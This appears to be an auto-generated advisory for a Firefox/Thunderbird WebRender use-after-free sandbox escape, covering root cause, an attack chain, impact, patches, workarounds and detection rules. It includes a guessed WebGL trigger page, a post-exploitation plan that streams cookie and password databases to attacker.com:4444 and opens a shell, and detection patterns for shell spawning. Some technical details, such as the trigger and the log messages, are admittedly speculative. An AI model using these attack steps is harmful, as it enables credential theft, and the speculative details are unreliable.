CVE-2026-135509 — Firefox 161 — CWE-416
Sandbox escape due to use-after-free in the Graphics: WebRender component. This vulnerability was fixed in Firefox 161, Firefox ESR 115.46, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.
Sandbox escape due to use-after-free in the Graphics: WebRender component. This vulnerability was fixed in Firefox 161, Firefox ESR 115.46, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.
🎯 What is this vulnerability?
CVE‑2026‑135509 is a use‑after‑free (UAF) bug in the Graphics → WebRender component of Mozilla Firefox and Thunderbird.
| Attribute | Value |
|---|---|
| CWE | CWE‑416: Use After Free |
| CVSS v3.1 | 9.6 (Critical) – AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| Component | WebRender – the GPU‑accelerated compositor that translates the browser’s display list into GPU commands. |
| Root cause | An internal object that represents a *WebRender* resource (e.g., a texture or pipeline) is freed while a background thread (the WebRender compositor thread) still holds a reference. The UI thread later dereferences the stale pointer when processing a crafted rendering command. Because the freed memory can be re‑allocated with attacker‑controlled data, the attacker can achieve arbitrary code execution inside the privileged (parent) process, breaking the sandbox isolation. |
| Missing protection | The code path does not correctly synchronize the lifetime of the object between the UI thread and the compositor thread, nor does it insert a *use‑after‑free* check (e.g., RefPtr reference counting) before the pointer is dereferenced. The UI thread is required to be interacted with (UI:R), which means the attacker must cause a user to trigger the vulnerable rendering sequence (e.g., by visiting a malicious web page). |
In short, the flaw is a race condition that lets a malicious page cause the browser to free a graphics object while the compositor still expects it to be alive, leading to execution of attacker‑controlled data in the privileged browser process and a sandbox escape.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that matches the CVSS vector (network‑accessible, low complexity, no privileges, requires user interaction).
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify target browsers via User‑Agent strings, JavaScript feature detection (navigator.userAgent, navigator.userAgentData) or via a fingerprinting library (e.g., fingerprintjs). | curl -I https://example.com → User‑Agent: Mozilla/5.0 (Windows NT 10.0; …) Gecko/2026 Firefox/160.0 |
| 1.2 | Correlate version numbers with public vulnerability databases (Mozilla Security Advisories, NVD). The vulnerable range is Firefox < 161 (and ESR < 115.46 / 153.8) and Thunderbird < 161 (and ESR < 153.8). | NVD entry for CVE‑2026‑135509, Mozilla release notes. |
| 1.3 | Verify that WebRender is enabled (default on most platforms). | about:config → gfx.webrender.enabled = true. |
2. Exploitation
Important: The exact HTML/JS payload is illustrative because the CVE description does not disclose the precise trigger. The example follows the class of “WebRender UAF → sandbox escape”.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>WebRender UAF Demo</title>
<style>
canvas { width: 800px; height: 600px; }
</style>
</head>
<body>
<canvas id="c"></canvas>
<script>
(async function() {
const canvas = document.getElementById('c');
const gl = canvas.getContext('webgl2');
// 1️⃣ Allocate a large texture (forces WebRender to create a GPU resource)
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 4096, 4096, 0,
gl.RGBA, gl.UNSIGNED_BYTE, null);
// 2️⃣ Trigger a rapid series of draw calls that cause the compositor
// thread to queue a command referencing the texture.
for (let i = 0; i < 1000; i++) {
gl.clearColor(Math.random(), Math.random(), Math.random(), 1);
gl.clear(gl.COLOR_BUFFER_BIT);
}
// 3️⃣ Force the UI thread to free the texture while the compositor
// still holds a reference. The exact race is induced by calling
// `gl.deleteTexture` inside a micro‑task after the draw calls.
setTimeout(() => {
gl.deleteTexture(tex); // <-- frees the underlying object
// The compositor thread still has a pending command that will
// dereference the now‑freed pointer.
}, 0);
})();
</script>
</body>
</html>How the payload works (conceptually)
1. Allocate a GPU resource (gl.createTexture). WebRender creates a corresponding internal object (WebRenderTexture).
2. Issue many draw commands to ensure the compositor thread receives a batch that references the texture.
3. Free the texture (gl.deleteTexture) before the compositor has processed the batch. Because the UI thread does not correctly synchronize reference counting, the compositor later dereferences the freed pointer.
4. Memory re‑use – the attacker can spray the heap with attacker‑controlled JavaScript objects (e.g., ArrayBuffers) that occupy the same memory region, allowing controlled code execution when the compositor reads the stale pointer.
The sandbox escape occurs when the malicious code runs in the browser’s privileged (parent) process, which has direct access to the file system, network, and other OS resources.
3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Privilege escalation to OS user | The exploit spawns a native code stub (via JIT‑sprayed WebAssembly) that calls execve("/bin/sh", …) inside the privileged process, effectively giving the attacker a full shell with the same rights as the logged‑in user. |
| Persistence | Write a launch script to ~/.config/autostart/ or modify the user’s crontab. |
| Data exfiltration | Open a raw TCP socket (via the privileged process) to attacker.com:4444 and stream ~/.mozilla/firefox/*.sqlite (cookies, saved passwords). |
| Lateral movement | Use the compromised credentials to access internal services (e.g., LDAP, internal web apps). |
Because the CVSS vector includes S:C (Scope Change), the impact propagates from the compromised browser sandbox to the entire operating system, giving Confidentiality, Integrity, and Availability impacts at the “High” level.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read any file the logged‑in user can access, including password stores, corporate documents, and cached credentials. | Theft of corporate secrets, credential harvesting, espionage. |
| Integrity (I:H) | I:H – attacker can modify or delete files, inject malicious code into future browser sessions, or alter system configuration. | Persistent backdoors, supply‑chain compromise, ransomware preparation. |
| Availability (A:H) | A:H – attacker can terminate processes, corrupt user data, or install ransomware. | Denial‑of‑service for the user, forced downtime, ransomware infection. |
| Scope (S:C) | The vulnerability crosses the sandbox boundary, moving from a low‑privilege renderer process to the privileged browser process (and thus the OS). | Full system compromise from a remote web page. |
| Attack Vector (AV:N) | Network‑reachable – a malicious web page or email attachment can trigger the exploit. | |
| Complexity (AC:L) | Low – only requires a crafted page and a user to visit it. | |
| Privileges Required (PR:N) | None – unauthenticated attacker. | |
| User Interaction (UI:R) | Requires the victim to load the malicious page (typical for drive‑by exploits). |
Bottom line: An attacker can achieve complete remote code execution on any machine running an affected version of Firefox or Thunderbird, with no user privileges required beyond the victim’s logged‑in session.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Fixed in version | Upgrade path |
|---|---|---|
| Firefox (desktop) | 161 | Download from https://www.mozilla.org/firefox/new/ |
| Firefox ESR | 115.46 (branch 115) or 153.8 (branch 153) | Use enterprise policy or update channel. |
| Thunderbird (desktop) | 161 | https://www.thunderbird.net/ |
| Thunderbird ESR | 153.8 | Same as ESR for Firefox. |
All installations older than the versions above must be upgraded immediately.
2. Workarounds (if patch cannot be applied immediately)
| Workaround | How to apply | Effectiveness |
|---|---|---|
| Disable WebRender | about:config → set gfx.webrender.enabled to false. Restart the browser. | Prevents the vulnerable code path; rendering falls back to the legacy compositor (still safe, but may reduce performance). |
| Enterprise Policy – Block WebRender | Deploy a JSON policy: <br>{ "Preferences": { "gfx.webrender.enabled": false } } | Centralised enforcement for managed fleets. |
Content Security Policy (CSP) – Restrict object-src & script-src | Add Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none' to all internal web apps. | Reduces the chance that a malicious page can load the crafted WebGL/Canvas payload, but does not mitigate a drive‑by attack from external sites. |
| Network Isolation | Block outbound HTTP/HTTPS to untrusted domains for workstations that do not need web browsing. | Limits exposure to malicious pages. |
Run Firefox/Thunderbird in a sandboxed container (e.g., firejail, flatpak with --sandbox) | firejail --private=~/firefox-profile firefox | Adds an extra OS‑level containment layer; however, the vulnerability already escapes the internal sandbox, so OS‑level sandboxing is still recommended. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Crash / SIGSEGV in the parent process | Firefox crash reporter (Crash Reports), about:crashes, or OS syslog (/var/log/syslog). | firefox[12345]: segfault at 0x7f8c... ip 0x7f8c... sp 0x7ff... error 4 in libxul.so[0x7f8c...] |
| WebRender compositor thread violations | MOZ_LOG=WebRender:5 (enable verbose logging) – look for “use‑after‑free” or “invalid pointer”. | WebRender: [ERROR] UseAfterFree detected: texture id=0x1a2b3c |
| Unexpected child processes | Process monitoring tools (ps, Windows Event Viewer). | firefox.exe (PID 5678) spawned cmd.exe |
| Network connections from the browser process to unknown IPs | Host‑based IDS, firewall logs. | ALLOW tcp 192.0.2.45:4444 -> 10.0.0.5:56789 (Firefox) |
| File system writes to user profile outside normal patterns | Endpoint detection (EDR) – watch for writes to ~/.mozilla/firefox/*.sqlite from the parent process. | EDR ALERT: firefox.exe wrote to profiles.ini (PID 4321) |
Rule example for a Linux host‑based IDS (OSSEC):
<rule id="100200" level="12">
<if_sid>5710</if_sid> <!-- generic process creation -->
<regex>firefox.*\b(cmd|powershell|sh)\b</regex>
<description>Possible sandbox escape – Firefox spawned a shell.</description>
<group>web,exploit,firefox</group>
</rule>ModSecurity (reverse‑proxy) illustrative rule (only blocks the class of payloads that attempt massive texture allocations):
SecRule REQUEST_HEADERS:User-Agent "Firefox/([0-9]+)\.(\d+)" \
"chain,phase:2,deny,status:403,msg:'Block potential WebRender UAF exploit',id:2026001"
SecRule ARGS|BODY "@rx (gl\.texImage2D|gl\.createTexture).{0,200}gl\.deleteTexture" \
"t:none,log"Note: The rule is illustrative; the exact trigger is not disclosed in the CVE.
4. Monitoring Recommendations
1. Enable Firefox’s built‑in telemetry for crash reports and forward them to a SIEM.
2. Collect MOZ_LOG=WebRender:5 on a subset of machines to detect abnormal compositor activity.
3. Correlate any new shell processes whose parent is firefox or thunderbird with recent web navigation events.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 9.6 (Critical) | Indicates a remote, network‑accessible exploit with full system impact. |
| CISA KEV: No | Not yet listed in the KEV catalog, meaning many organizations may be unaware. |
| Exploit complexity | Low – the vulnerability can be triggered with a single crafted page and requires only user interaction (typical for drive‑by attacks). |
| Public disclosure date | 24 Nov 2026 – the vulnerability is already public, giving attackers a narrow window to develop PoCs. |
| Patch availability | Fixed in Firefox 161 / ESR 115.46 / ESR 153.8 and Thunderbird 161 / ESR 153.8. |
Patch priority: Critical – Immediate.
- Enterprise environments should push the update via centralized management (e.g., WSUS, SCCM, Munki, or Mozilla Enterprise Policies) within 24 hours.
- If patching cannot be performed immediately, enforce the WebRender disablement workaround and monitor for the detection indicators listed above.
Bottom line: CVE‑2026‑135509 is a high‑impact sandbox‑escape bug that allows an unauthenticated attacker to execute arbitrary code on any system running a vulnerable Firefox/Thunderbird version. Immediate patching (or disabling WebRender) and active monitoring are mandatory to prevent a large‑scale drive‑by compromise.
[🤖 CVE Professor AI Security Engine]